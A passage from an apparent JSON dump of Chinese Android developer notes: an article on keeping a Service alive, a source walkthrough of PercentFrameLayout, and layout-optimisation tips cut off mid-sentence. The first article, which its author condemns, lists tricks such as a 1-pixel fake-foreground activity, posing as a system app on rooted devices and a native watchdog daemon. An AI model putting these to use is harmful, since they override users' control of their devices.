    "content": "如何让Service常驻内存\n===\n\n我非常鄙视这种行文，一个公司应该想到如何把产品做的更完善，而不是用这些技术来损害用户的利益，来获取自己肮脏的所谓的功能。\n\n- `Service`设置成`START_STICKY`，`kill`后会被重启（等待5秒左右），重传`Intent`，保持与重启前一样\n- ​通过`startForeground`将进程设置为前台进程，做前台服务，优先级和前台应用一个级别​，除非在系统内存非常缺，否则此进程不会被`kill`\n- 双进程`Service`:让2个进程互相保护，其中一个`Service`被清理后，另外没被清理的进程可以立即重启进程\n- `QQ`黑科技:在应用退到后台后，另起一个只有1像素的页面停留在桌面上，让自己保持前台状态，保护自己不被后台清理工具杀死\n- 在已经`root`的设备下，修改相应的权限文件，将`App`伪装成系统级的应用（`Android4.0`系列的一个漏洞，已经确认可行）\n- `Android`系统中当前进程(`Process`)`fork`出来的子进程，被系统认为是两个不同的进程。当父进程被杀死的时候，子进程仍然可以存活，并不受影响。\n    鉴于目前提到的在`Android-Service`层做双守护都会失败，我们可以`fork`出`c`进程，多进程守护。死循环在那检查是否还存在，\n\t具体的思路如下（`Android5.0`以下可行）\n\t- 用`C`编写守护进程(即子进程)，守护进程做的事情就是循环检查目标进程是否存在，不存在则启动它。\n\t- 在`NDK`环境中将1中编写的`C`代码编译打包成可执行文件(`BUILD_EXECUTABLE`)。\n\t- 主进程启动时将守护进程放入私有目录下，赋予可执行权限，启动它即可。\n\t\n- 联系厂商，加入白名单\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/屏幕适配之百分比方案详解.md",
    "content": "屏幕适配之百分比方案详解\n===\n\n`Android`设备碎片化十分严重，在开发过程中的适配工作也非常很繁琐，有关屏幕适配的介绍请看之前的文章[屏幕适配](https://github.com/CharonChui/AndroidNote/blob/master/BasicKnowledge/%E5%B1%8F%E5%B9%95%E9%80%82%E9%85%8D.md)。\n\n最近看到`DrawerLayout`，`support v4`中提供的类，想到对`google`提供的这些支持库，自己一点都不熟悉，想着看看`Google`提供的支持库都有什么内容。结果看着看着在最后忽然看到了`Percent Support Library`。寻思怎么还百分比呢？仔细一看介绍，我擦，真是太有用了。\n> Percent Support Library\n> The Percent package provides APIs to support adding and managing percentage based dimensions in your app.\n\n> The Percent Support library adds support for the PercentLayoutHelper.PercentLayoutParams interface and various classes, such as PercentFrameLayout and PercentRelativeLayout.\n\n> After you download the Android Support Libraries, this library is located in the <sdk>/extras/android/support/percent directory. For more information on how to set up your project, follow the instructions in Adding libraries with resources.\n\n> The Gradle build script dependency identifier for this library is as follows:\n> `com.android.support:percent:23.3.0`\n\n看到了吗？ 说提供了`PercentFrameLayout`和`PercentRelativeLayout`来支持百分比了。这样不就完美的解决了适配的问题嘛。啥也不说了，立马配置`gradle`来瞧瞧。   \n\n> Subclass of FrameLayout that supports percentage based dimensions and margins. You can specify dimension or a margin of child by using attributes with \"Percent\" suffix. \n\n上代码:    \n```xml\n<android.support.percent.PercentFrameLayout\n    xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\">\n    <ImageView\n        android:src=\"@mipmap/ic_launcher\"\n        app:layout_widthPercent=\"50%\"\n        app:layout_heightPercent=\"50%\"\n        app:layout_marginTopPercent=\"25%\"\n        app:layout_marginLeftPercent=\"25%\"/>\n</android.support.percent.PercentFrameLayout>\n```\n效果如下:    \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/percent_frame.png?raw=true)    \n完美.   \n\n支持的属性:    \n\n- `layout_widthPercent`\n- `layout_heightPercent`\n- `layout_marginPercent`\n- `layout_marginLeftPercent`\n- `layout_marginTopPercent`\n- `layout_marginRightPercent`\n- `layout_marginBottomPercent`\n- `layout_marginStartPercent`\n- `layout_marginEndPercent`\n- `layout_aspectRatio`\n\n> It is not necessary to specify layout_width/height if you specify layout_widthPercent. However, if you want the view to be able to take up more space than what percentage value permits, you can add layout_width/height=\"wrap_content\". In that case if the percentage size is too small for the View's content, it will be resized using wrap_content rule.\n\n如果指定了`layout_widthPercent`就不用指定`layout_width/height`属性了。(`Studio`可能会提示错误，设置忽略就好)。然而，如果你想要该`View`能够占用比设置的百分比值更大的空间时，你可以指定`layout_widht/height=“wrap_content”`。在这种情况下，如果设置的百分比值在显示内容时太小时，将会使用`wrap_content`的值重新计算。\n\n就是这个意思:如果指定的百分比太小怕显示不开的话，也可以给它指定`wrap_content`属性，这样当显示不开的时候就会使用`wrap_content`的值。   \n如下:     \n```xml\n<android.support.percent.PercentFrameLayout\n    xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\">\n    <TextView\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:src=\"@mipmap/ic_launcher\"\n        android:text=\"顶顶顶顶顶大大大\"\n        android:textSize=\"30dp\"\n        android:singleLine=\"true\"\n        app:layout_widthPercent=\"30%\"\n        app:layout_heightPercent=\"5%\"\n        app:layout_marginTopPercent=\"25%\"\n        app:layout_marginLeftPercent=\"25%\"/>\n</android.support.percent.PercentFrameLayout>\n```\n\n效果:   \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/percent_wrap.png?raw=true)    \n\n加入`wrap_content`后一点效果也没有啊，还是显示不全啊，和没加`wrap_content`一样，- -!\n\n\n你也可以通过只设置`width`或者`height`和`layout_aspectRatio`这种比例值的方式来让第另一个值自动计算。例如，如果你想要使用`16:9`的比例，你可以使用:    \n```xml\nandroid:layout_width=\"300dp\"\napp:layout_aspectRatio=\"178%\"\n```\n\n这样将会在宽固定为`300dp`的基础上以16:9(1.78:1)来计算高度。\n\n`PercentRelativeLayout`的使用都是一样的，这里就不贴了。   \n\n那它是怎么实现的呢？其实就是内部给通过属性换算，把本布局的宽高和百分比去计算每个`view`的大小和位置。但是还有为什么上面设置的`wrap_content`无效呢？是我理解错了吗？\n\n带着这两个疑问我们来看下源码:    \n```java\npublic class PercentFrameLayout extends FrameLayout {\n    private final PercentLayoutHelper mHelper = new PercentLayoutHelper(this);\n\n    public PercentFrameLayout(Context context) {\n        super(context);\n    }\n\n    public PercentFrameLayout(Context context, AttributeSet attrs) {\n        super(context, attrs);\n    }\n\n    public PercentFrameLayout(Context context, AttributeSet attrs, int defStyleAttr) {\n        super(context, attrs, defStyleAttr);\n    }\n\n    @Override\n    protected LayoutParams generateDefaultLayoutParams() {\n        return new LayoutParams(LayoutParams.MATCH_PARENT, LayoutParams.MATCH_PARENT);\n    }\n\n    @Override\n    public LayoutParams generateLayoutParams(AttributeSet attrs) {\n        return new LayoutParams(getContext(), attrs);\n    }\n\n    @Override\n    protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {\n        mHelper.adjustChildren(widthMeasureSpec, heightMeasureSpec);\n        super.onMeasure(widthMeasureSpec, heightMeasureSpec);\n        // 从名字上就能看出来下面就是处理如果指定百分比过小不足显示内容时，就去使用`wrap_content`的逻辑\n        if (mHelper.handleMeasuredStateTooSmall()) {\n            super.onMeasure(widthMeasureSpec, heightMeasureSpec);\n        }\n    }\n\n    @Override\n    protected void onLayout(boolean changed, int left, int top, int right, int bottom) {\n        super.onLayout(changed, left, top, right, bottom);\n        mHelper.restoreOriginalParams();\n    }\n\n    public static class LayoutParams extends FrameLayout.LayoutParams\n            implements PercentLayoutHelper.PercentLayoutParams {\n\n        private PercentLayoutHelper.PercentLayoutInfo mPercentLayoutInfo;\n\n        public LayoutParams(Context c, AttributeSet attrs) {\n            super(c, attrs);\n            // PercentLayoutInfo中去解析自定义属性的值\n            mPercentLayoutInfo = PercentLayoutHelper.getPercentLayoutInfo(c, attrs);\n        }\n\n        public LayoutParams(int width, int height) {\n            super(width, height);\n        }\n\n        public LayoutParams(int width, int height, int gravity) {\n            super(width, height, gravity);\n        }\n\n        public LayoutParams(ViewGroup.LayoutParams source) {\n            super(source);\n        }\n\n        public LayoutParams(MarginLayoutParams source) {\n            super(source);\n        }\n\n        public LayoutParams(FrameLayout.LayoutParams source) {\n            super((MarginLayoutParams) source);\n            gravity = source.gravity;\n        }\n\n        public LayoutParams(LayoutParams source) {\n            this((FrameLayout.LayoutParams) source);\n            mPercentLayoutInfo = source.mPercentLayoutInfo;\n        }\n\n        @Override\n        public PercentLayoutHelper.PercentLayoutInfo getPercentLayoutInfo() {\n            if (mPercentLayoutInfo == null) {\n                mPercentLayoutInfo = new PercentLayoutHelper.PercentLayoutInfo();\n            }\n\n            return mPercentLayoutInfo;\n        }\n\n        @Override\n        protected void setBaseAttributes(TypedArray a, int widthAttr, int heightAttr) {\n            PercentLayoutHelper.fetchWidthAndHeight(this, a, widthAttr, heightAttr);\n        }\n    }\n}\n```\n源码不长，主要是三个部分:    \n\n- 重写`onMeasure`，根据百分比转换成对应的尺寸\n- 重写`onLayout`\n- 自定义`LayoutParams`，在`FrameLayout.LayoutParams`的基础上多实现了一个接口。包含了`PercentLayoutHelper.PercentLayoutInfo `属性，而文档中对`PercentLayoutInfo`的介绍是`Container for information about percentage dimensions and margins. It acts as an extension for LayoutParams.`\n\n\n我们也先一步步的来分析，首先看下`mHelper.adjustChildren(widthMeasureSpec, heightMeasureSpec);`:      \n```java\n/**\n * Iterates over children and changes their width and height to one calculated from percentage\n * values.\n * @param widthMeasureSpec Width MeasureSpec of the parent ViewGroup.\n * @param heightMeasureSpec Height MeasureSpec of the parent ViewGroup.\n */\npublic void adjustChildren(int widthMeasureSpec, int heightMeasureSpec) {\n    if (Log.isLoggable(TAG, Log.DEBUG)) {\n        Log.d(TAG, \"adjustChildren: \" + mHost + \" widthMeasureSpec: \"\n                + View.MeasureSpec.toString(widthMeasureSpec) + \" heightMeasureSpec: \"\n                + View.MeasureSpec.toString(heightMeasureSpec));\n    }\n\n    int widthHint = View.MeasureSpec.getSize(widthMeasureSpec);\n    int heightHint = View.MeasureSpec.getSize(heightMeasureSpec);\n    // mHost是由构造函数传递过来的，就是PercentFrameLayout自身。\n    for (int i = 0, N = mHost.getChildCount(); i < N; i++) {\n        View view = mHost.getChildAt(i);\n        ViewGroup.LayoutParams params = view.getLayoutParams();\n        if (Log.isLoggable(TAG, Log.DEBUG)) {\n            Log.d(TAG, \"should adjust \" + view + \" \" + params);\n        }\n        if (params instanceof PercentLayoutParams) {\n            // 通过PercentLayoutParams. getPercentLayoutInfo()方法得到PercentLayoutInfo，至于PercentLayoutInfo类在上面也说过了。\n            PercentLayoutInfo info =\n                    ((PercentLayoutParams) params).getPercentLayoutInfo();\n            if (Log.isLoggable(TAG, Log.DEBUG)) {\n                Log.d(TAG, \"using \" + info);\n            }\n            if (info != null) {\n                if (params instanceof ViewGroup.MarginLayoutParams) {\n                    // PercentFrameLayout.LayoutParams继承自FrameLayout.LayoutParams，而FrameLayout.LayoutParams又继承自ViewGroup.MarginLayoutParams\n                    info.fillMarginLayoutParams(view, (ViewGroup.MarginLayoutParams) params,\n                            widthHint, heightHint);\n                } else {\n                    info.fillLayoutParams(params, widthHint, heightHint);\n                }\n            }\n        }\n    }\n}\n```\n所以上面代码的意思就是通过对每个子`View`调用`getLayoutParams`方法，然后从该`LayoutParams`中获取到它的`PercentLayoutInfo`属性，然后再调用`PercentLayoutInfo.fillMarginLayoutParams()`方法。\n\n那我们继续看一下`PercentLayoutInfo.fillMarginLayoutParams()`方法的实现，该方法是根据百分比去设置尺寸和margin:    \n```java\n/**\n * Fills {@code ViewGroup.MarginLayoutParams} dimensions and margins based on percentage\n * values.\n */\npublic void fillMarginLayoutParams(View view, ViewGroup.MarginLayoutParams params,\n        int widthHint, int heightHint) {\n    // 根据百分比值设置View的尺寸\n    fillLayoutParams(params, widthHint, heightHint);\n\n    // 从注释中就能知道，fillLayoutParams是计算尺寸，那下面这部分就是处理margin了\n    // mPreservedParams来记录原始的margin值\n    // Preserve the original margins, so we can restore them after the measure step.\n    mPreservedParams.leftMargin = params.leftMargin;\n    mPreservedParams.topMargin = params.topMargin;\n    mPreservedParams.rightMargin = params.rightMargin;\n    mPreservedParams.bottomMargin = params.bottomMargin;\n    MarginLayoutParamsCompat.setMarginStart(mPreservedParams,\n            MarginLayoutParamsCompat.getMarginStart(params));\n    MarginLayoutParamsCompat.setMarginEnd(mPreservedParams,\n            MarginLayoutParamsCompat.getMarginEnd(params));\n\n    if (leftMarginPercent >= 0) {\n        params.leftMargin = (int) (widthHint * leftMarginPercent);\n    }\n    if (topMarginPercent >= 0) {\n        params.topMargin = (int) (heightHint * topMarginPercent);\n    }\n    if (rightMarginPercent >= 0) {\n        params.rightMargin = (int) (widthHint * rightMarginPercent);\n    }\n    if (bottomMarginPercent >= 0) {\n        params.bottomMargin = (int) (heightHint * bottomMarginPercent);\n    }\n    boolean shouldResolveLayoutDirection = false;\n    if (startMarginPercent >= 0) {\n        MarginLayoutParamsCompat.setMarginStart(params,\n                (int) (widthHint * startMarginPercent));\n        shouldResolveLayoutDirection = true;\n    }\n    if (endMarginPercent >= 0) {\n        MarginLayoutParamsCompat.setMarginEnd(params,\n                (int) (widthHint * endMarginPercent));\n        shouldResolveLayoutDirection = true;\n    }\n    if (shouldResolveLayoutDirection && (view != null)) {\n        // Force the resolve pass so that start / end margins are propagated to the\n        // matching left / right fields\n        MarginLayoutParamsCompat.resolveLayoutDirection(params,\n                ViewCompat.getLayoutDirection(view));\n    }\n    if (Log.isLoggable(TAG, Log.DEBUG)) {\n        Log.d(TAG, \"after fillMarginLayoutParams: (\" + params.width + \", \" + params.height\n                + \")\");\n    }\n}\n```\n\n再看一下`PercentLayoutInfo.fillLayoutParams()`的实现，该方法是通过百分比设置`View`的尺寸:\n\n```java\n/**\n * Fills {@code ViewGroup.LayoutParams} dimensions based on percentage values.\n */\npublic void fillLayoutParams(ViewGroup.LayoutParams params, int widthHint,\n        int heightHint) {\n    // mPreservedParams来记录原始的宽高值\n    // Preserve the original layout params, so we can restore them after the measure step.\n    mPreservedParams.width = params.width;\n    mPreservedParams.height = params.height;\n\n    // We assume that width/height set to 0 means that value was unset. This might not\n    // necessarily be true, as the user might explicitly set it to 0. However, we use this\n    // information only for the aspect ratio. If the user set the aspect ratio attribute,\n    // it means they accept or soon discover that it will be disregarded.\n    final boolean widthNotSet =\n            (mPreservedParams.mIsWidthComputedFromAspectRatio\n                    || mPreservedParams.width == 0) && (widthPercent < 0);\n    final boolean heightNotSet =\n            (mPreservedParams.mIsHeightComputedFromAspectRatio\n                    || mPreservedParams.height == 0) && (heightPercent < 0);\n\n    // 如果指定了百分比属性，就用宽高值和百分比去算出具体的宽高\n    if (widthPercent >= 0) {\n        // 看到了吗？是根据父`View\t`的宽高来乘以百分比，不是根据整个屏幕的宽高，这样可能会有问题，要是ListView这种的高度没法算了\n        params.width = (int) (widthHint * widthPercent);\n    }\n\n    if (heightPercent >= 0) {\n        params.height = (int) (heightHint * heightPercent);\n    }\n    // 如果指定了宽高的比例值，就用比例值去算出宽高，从这里能看出`aspectRatio`的优先级比百分比要高。他可以覆盖百分比之前设置的值。\n    if (aspectRatio >= 0) {\n        if (widthNotSet) {\n            params.width = (int) (params.height * aspectRatio);\n            // Keep track that we've filled the width based on the height and aspect ratio.\n            mPreservedParams.mIsWidthComputedFromAspectRatio = true;\n        }\n        if (heightNotSet) {\n            params.height = (int) (params.width / aspectRatio);\n            // Keep track that we've filled the height based on the width and aspect ratio.\n            mPreservedParams.mIsHeightComputedFromAspectRatio = true;\n        }\n    }\n\n    if (Log.isLoggable(TAG, Log.DEBUG)) {\n        Log.d(TAG, \"after fillLayoutParams: (\" + params.width + \", \" + params.height + \")\");\n    }\n}\n```    \n\n到这里`onMeasure`中通过百分比值设置宽高以及`margin`的部分就看完了，那我们接着看一下关于百分比值过小时对`wrap_content`的处理:     \n```java\nif (mHelper.handleMeasuredStateTooSmall()) {\n    super.onMeasure(widthMeasureSpec, heightMeasureSpec);\n}\n```\n\n看一下`PercentLayoutHelper.handleMeasuredStateTooSmall()`方法的实现:     \n```java\n/**\n * Iterates over children and checks if any of them would like to get more space than it\n * received through the percentage dimension.\n *\n * If you are building a layout that supports percentage dimensions you are encouraged to take\n * advantage of this method. The developer should be able to specify that a child should be\n * remeasured by adding normal dimension attribute with {@code wrap_content} value. For example\n * he might specify child's attributes as {@code app:layout_widthPercent=\"60%p\"} and\n * {@code android:layout_width=\"wrap_content\"}. In this case if the child receives too little\n * space, it will be remeasured with width set to {@code WRAP_CONTENT}.\n *\n * @return True if the measure phase needs to be rerun because one of the children would like\n * to receive more space.\n */\npublic boolean handleMeasuredStateTooSmall() {\n    boolean needsSecondMeasure = false;\n    for (int i = 0, N = mHost.getChildCount(); i < N; i++) {\n        View view = mHost.getChildAt(i);\n        ViewGroup.LayoutParams params = view.getLayoutParams();\n        if (Log.isLoggable(TAG, Log.DEBUG)) {\n            Log.d(TAG, \"should handle measured state too small \" + view + \" \" + params);\n        }\n        if (params instanceof PercentLayoutParams) {\n            PercentLayoutInfo info =\n                    ((PercentLayoutParams) params).getPercentLayoutInfo();\n            if (info != null) {\n                // shouldHandleMeasuredWidthTooSmall方法来进行判断\n                if (shouldHandleMeasuredWidthTooSmall(view, info)) {\n                    needsSecondMeasure = true;\n                    params.width = ViewGroup.LayoutParams.WRAP_CONTENT;\n                }\n                if (shouldHandleMeasuredHeightTooSmall(view, info)) {\n                    needsSecondMeasure = true;\n                    params.height = ViewGroup.LayoutParams.WRAP_CONTENT;\n                }\n            }\n        }\n    }\n    if (Log.isLoggable(TAG, Log.DEBUG)) {\n        Log.d(TAG, \"should trigger second measure pass: \" + needsSecondMeasure);\n    }\n    return needsSecondMeasure;\n}\n```\n\n那继续看一下`shouldHandleMeasuredWidthTooSmall()`方法:        \n```java\nprivate static boolean shouldHandleMeasuredWidthTooSmall(View view, PercentLayoutInfo info) {\n    int state = ViewCompat.getMeasuredWidthAndState(view) & ViewCompat.MEASURED_STATE_MASK;\n    return state == ViewCompat.MEASURED_STATE_TOO_SMALL && info.widthPercent >= 0 &&\n            info.mPreservedParams.width == ViewGroup.LayoutParams.WRAP_CONTENT;\n}\n```\n\n继续看`ViewCompat.getMeasuredWidthAndState()`的源码:   \n```java\npublic static int getMeasuredWidthAndState(View view) {\n    return IMPL.getMeasuredWidthAndState(view);\n}\n```\n继续往下看，这个`IMPL`是什么呢？    \n```java\nstatic final ViewCompatImpl IMPL;\nstatic {\n    final int version = android.os.Build.VERSION.SDK_INT;\n    if (version >= 23) {\n        IMPL = new MarshmallowViewCompatImpl();\n    } else if (version >= 21) {\n        IMPL = new LollipopViewCompatImpl();\n    } else if (version >= 19) {\n        IMPL = new KitKatViewCompatImpl();\n    } else if (version >= 17) {\n        IMPL = new JbMr1ViewCompatImpl();\n    } else if (version >= 16) {\n        IMPL = new JBViewCompatImpl();\n    } else if (version >= 15) {\n        IMPL = new ICSMr1ViewCompatImpl();\n    } else if (version >= 14) {\n        IMPL = new ICSViewCompatImpl();\n    } else if (version >= 11) {\n        IMPL = new HCViewCompatImpl();\n    } else if (version >= 9) {\n        IMPL = new GBViewCompatImpl();\n    } else if (version >= 7) {\n        IMPL = new EclairMr1ViewCompatImpl();\n    } else {\n        IMPL = new BaseViewCompatImpl();\n    }\n}\n```\n继续看，`IMPL.getMeasuredWidthAndState()`，方法其实最终就是使用的`BaseViewCompatImpl.getMeasuredWidthAndState()`方法，接着看它的的源码:   \n```java\n@Override\n    public int getMeasuredWidthAndState(View view) {\n        return view.getMeasuredWidth();\n    }\n```\n最后就是调用了`getMeasuredWidth()`方法。  没毛病- -!\n\n\n`onMeasure`的到这里就分析完了。       \n那接着来看一下`onLayout`方法,`onLayout`方法直接调用了`PercentLayoutHelper.restoreOriginalParams`，:      \n```java\n/**\n * Iterates over children and restores their original dimensions that were changed for\n * percentage values. Calling this method only makes sense if you previously called\n * {@link PercentLayoutHelper#adjustChildren(int, int)}.\n */\npublic void restoreOriginalParams() {\n    for (int i = 0, N = mHost.getChildCount(); i < N; i++) {\n        View view = mHost.getChildAt(i);\n        ViewGroup.LayoutParams params = view.getLayoutParams();\n        if (Log.isLoggable(TAG, Log.DEBUG)) {\n            Log.d(TAG, \"should restore \" + view + \" \" + params);\n        }\n        if (params instanceof PercentLayoutParams) {\n            PercentLayoutInfo info =\n                    ((PercentLayoutParams) params).getPercentLayoutInfo();\n            if (Log.isLoggable(TAG, Log.DEBUG)) {\n                Log.d(TAG, \"using \" + info);\n            }\n            if (info != null) {\n                if (params instanceof ViewGroup.MarginLayoutParams) {\n                    info.restoreMarginLayoutParams((ViewGroup.MarginLayoutParams) params);\n                } else {\n                    info.restoreLayoutParams(params);\n                }\n            }\n        }\n    }\n}\n```\n\n调用了`PercentLayoutInfo.restoreMarginLayoutParams()`方法，我们看下它的源码:    \n```java\n/**\n * Restores original dimensions and margins after they were changed for percentage based\n * values. Calling this method only makes sense if you previously called\n * {@link PercentLayoutHelper.PercentLayoutInfo#fillMarginLayoutParams}.\n */\npublic void restoreMarginLayoutParams(ViewGroup.MarginLayoutParams params) {\n    restoreLayoutParams(params);\n    // mPreservedParams的值在之前ad\n    params.leftMargin = mPreservedParams.leftMargin;\n    params.topMargin = mPreservedParams.topMargin;\n    params.rightMargin = mPreservedParams.rightMargin;\n    params.bottomMargin = mPreservedParams.bottomMargin;\n    MarginLayoutParamsCompat.setMarginStart(params,\n            MarginLayoutParamsCompat.getMarginStart(mPreservedParams));\n    MarginLayoutParamsCompat.setMarginEnd(params,\n            MarginLayoutParamsCompat.getMarginEnd(mPreservedParams));\n}\n```\n意思是说，再他们被以百分比为基础的数据更改之后恢复成原始的尺寸和margin。  \n然后继续看一下`restoreLayoutParams()`:        \n```java\n/**\n* Restores original dimensions after they were changed for percentage based values. Calling\n* this method only makes sense if you previously called\n* {@link PercentLayoutHelper.PercentLayoutInfo#fillLayoutParams}.\n*/\npublic void restoreLayoutParams(ViewGroup.LayoutParams params) {\n    if (!mPreservedParams.mIsWidthComputedFromAspectRatio) {\n        // Only restore the width if we didn't compute it based on the height and\n        // aspect ratio in the fill pass.\n        params.width = mPreservedParams.width;\n    }\n    if (!mPreservedParams.mIsHeightComputedFromAspectRatio) {\n        // Only restore the height if we didn't compute it based on the width and\n        // aspect ratio in the fill pass.\n        params.height = mPreservedParams.height;\n    }\n    \n    // Reset the tracking flags.\n    mPreservedParams.mIsWidthComputedFromAspectRatio = false;\n    mPreservedParams.mIsHeightComputedFromAspectRatio = false;\n}\n```\n\n好了到这里也分析完了`onLayout`的方法，大意就是在`onMeasure`之前先将原始的宽高和`margin`都备份一下，然后在`onMeasure`中根据百分比去设置对应的宽高和`margin`，等到设置完之后在`onLayout`方法中再去将这些值恢复到之前备份的起始数据。说实话我没看明白为什么要这样做？\n          \n通过上面的代码分析我们知道对布局影响力的优先顺序: `app:layout_aspectRatio > app:layout_heightPercent > android:layout_height`如果我们同时都设置这三个参数值的话，最终会用`app:layout_aspectRatio`的值。\n           \n遗留问题:     \n\n- 为什么在`onLayout`方法中去恢复数据，这有什么作用？\n- 看代码在处理如果指定的百分比过小但又指定`wrap_content`时，会重新根据`wrap_content`去重新计算的逻辑没有错，但是为什么我在上面测试的时候确没效果？\n- 在上面分析代码时看到`fillLayoutParams`中是根据父`View`的宽高来乘以百分比，不是根据整个屏幕的宽高，这样可能会有问题，要是ListView这种的高度没法算了。\n\n    \t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/布局优化.md",
    "content": "布局优化\n===\n\n- 去除不必要的嵌套和节点\n    这是最基本的一条，但也是最不好做到的一条，往往不注意的时候难免会一些嵌套等。    \n\t- 首次不需要的节点设置为`GONE`或使用`ViewStud`.       \n\t- 使用`Relativelayout`代替`LinearLayout`.        \n\t平时写布局的时候要多注意，写完后可以通过`Hierarchy Viewer`或在手机上通过开发者选项中的显示布局边界来查看是否有不必要的嵌套。\n\t\n- 使用`include`                \n\t`include`可以用于将布局中一些公共的部分提取出来。在需要的时候使用即可，比喻一些页面统一的`loading`页。                   \n\t `include`标签的`layout`属性指定所要包含的布局文件，我们也可以通过`android:id`或者一些其他的属性来覆盖被引入布局的根节点所对应\n 的属性值。      \n\t ```xml\n\t <include\n\t\tlayout=\"@layout/loading\"\n\t\tandroid:id=\"@+id/loading_main\" />\n\t ```\n\t`loading.xml`内容为：    \n\t```xml\n\t<RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n\t\tandroid:layout_width=\"match_parent\"\n\t\tandroid:layout_height=\"match_parent\">\n\n\t\t<ProgressBar\n\t\t\tandroid:id=\"@+id/pb_loadiing\"\n\t\t\tandroid:layout_width=\"28dip\"\n\t\t\tandroid:layout_height=\"28dip\"\n\t\t\tandroid:layout_centerInParent=\"true\"\n\t\t\tandroid:indeterminateDrawable=\"@drawable/progressbar_anim_drawable\" />\n\n\t\t<TextView\n\t\t\tandroid:layout_below=\"@id/pb_loadiing\"\n\t\t\tandroid:layout_centerHorizontal=\"true\"\n\t\t\tandroid:layout_marginTop=\"10dp\"\n\t\t\tandroid:layout_width=\"wrap_content\"\n\t\t\tandroid:layout_height=\"wrap_content\"\n\t\t\tandroid:text=\"loading...\"\n\t\t\tandroid:textSize=\"15sp\" />\n\t</RelativeLayout>\n\t```\n\n- 使用`<merge>`标签                      \n\t`merge`可以有效的解决布局的层级关系。我们通过一个例子来说明一下：            \n\t```xml\n\t<FrameLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n\t\tandroid:layout_width=\"fill_parent\"\n\t\tandroid:layout_height=\"fill_parent\">\n\n\t\t<ImageView\n\t\t\tandroid:layout_width=\"fill_parent\"\n\t\t\tandroid:layout_height=\"fill_parent\"\n\n\t\t\tandroid:scaleType=\"center\"\n\t\t\tandroid:src=\"@drawable/ic_launcher\" />\n\n\t\t<TextView\n\t\t\tandroid:layout_width=\"wrap_content\"\n\t\t\tandroid:layout_height=\"wrap_content\"\n\t\t\tandroid:layout_marginBottom=\"20dip\"\n\t\t\tandroid:textSize=\"22sp\"\n\t\t\tandroid:textColor=\"#990000\"\n\t\t\tandroid:layout_gravity=\"center_horizontal|bottom\"\n\t\t\tandroid:text=\"TEST\" />\n\n\t</FrameLayout>\n\t```\n\n\t我们在一个页面中显示该部分内容，运行后观察`Hierarchy Viewer`。                \n\t![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/merge_1.png)               \n\t我们会发现除了我们布局最外层还会有一层`FrameLayout`，这是因为`Activity`内容视图的`parent view`就是一个`FrameLayout`，所以对于我们来说无意中已经多了一层毫无意义的布局。      \n\t接下来`merge`的功能就能发挥了，修改代码如下。              \n\t```xml\n\t<merge xmlns:android=\"http://schemas.android.com/apk/res/android\">\n\n\t\t<ImageView\n\t\t\tandroid:layout_width=\"fill_parent\"\n\t\t\tandroid:layout_height=\"fill_parent\"\n\t\t\tandroid:scaleType=\"center\"\n\t\t\tandroid:src=\"@drawable/ic_launcher\" />\n\n\t\t<TextView\n\t\t\tandroid:layout_width=\"wrap_content\"\n\t\t\tandroid:layout_height=\"wrap_content\"\n\t\t\tandroid:layout_marginBottom=\"20dip\"\n\t\t\tandroid:textSize=\"22sp\"\n\t\t\tandroid:textColor=\"#990000\"\n\t\t\tandroid:layout_gravity=\"center_horizontal|bottom\"\n\t\t\tandroid:text=\"TEST\" />\n\n\t</merge>\n\t```\n\t接下来我们在用`Hierarchy Viewer`观察就会发现完美的去掉了一层`FrameLayout`                    \n\t![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/merge_2.png)                        \n\t当然上面我们使用`merge`是因为跟布局正好是`FrameLayout`并且没有`backgroud`和`padding`等这些属性。如果根本局是`LinearLayout`等，就没法直接使用`merge`了。\n\t在`include`的时候很容易造成布局层级嵌套过多，结合`merge`使用能有效解决这个问题。\n\t\n- 使用`ViewStub`                           \n    `ViewStub`标签与`include`一样可以用来引入一个外部布局，但是`Viewstub`引入的布局默认不会解析与显示，宽高为0，`View`也为`null`,这样就会在解析`layout`时节省`cpu`和内存。简单的理解就是`ViewStub`是\n`include`加上`GONE`.`ViewStub`常用来引入那些默认不会显示，只在特殊情况下显示的布局，如进度布局、网络失败显示的刷新布局、信息出错出现的提示布局等.\n    ```xml\n\t<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n\t\tandroid:layout_width=\"match_parent\"\n\t\tandroid:layout_height=\"match_parent\" >\n\n\t\t……\n\t\t<ViewStub\n\t\t\tandroid:id=\"@+id/network_unreachble\"\n\t\t\tandroid:layout_width=\"match_parent\"\n\t\t\tandroid:layout_height=\"match_parent\"\n\t\t\tandroid:layout=\"@layout/network_unreachble\" />\n\n\t</RelativeLayout>\n\t```\n\t在代码中通过`(ViewStub)findViewById(id)`找到`ViewStub`，使用`inflate()`展开`ViewStub`,然后得到子`View`，如下：\n\t```java\n\tprivate View mNetErrorView;\n\n\tprivate void showNetError() {\n\t\tif (mNetErrorView != null) {\n\t\t\tmNetErrorView.setVisibility(View.VISIBLE);\n\t\t\treturn;\n\t\t}\n\n\t\tViewStub stub = (ViewStub)findViewById(R.id.network_unreachble);\n\t\t// 解析并且显示该部分，返回值就是解析后的该`View`\n\t\tmNetErrorView = stub.inflate();\n\t\tButton networkSetting = (Button)mNetErrorView.findViewById(R.id.bt_network);\n\t}\n\n\tprivate void showNormal() {\n\t\tif (mNetErrorView != null) {\n\t\t\tmNetErrorView.setVisibility(View.GONE);\n\t\t}\n\t}\n\t```\n\t或者也可以通过第二种方式:\n\t```java\n\tView viewStub = findViewById(R.id.network_unreachble);\n\t// 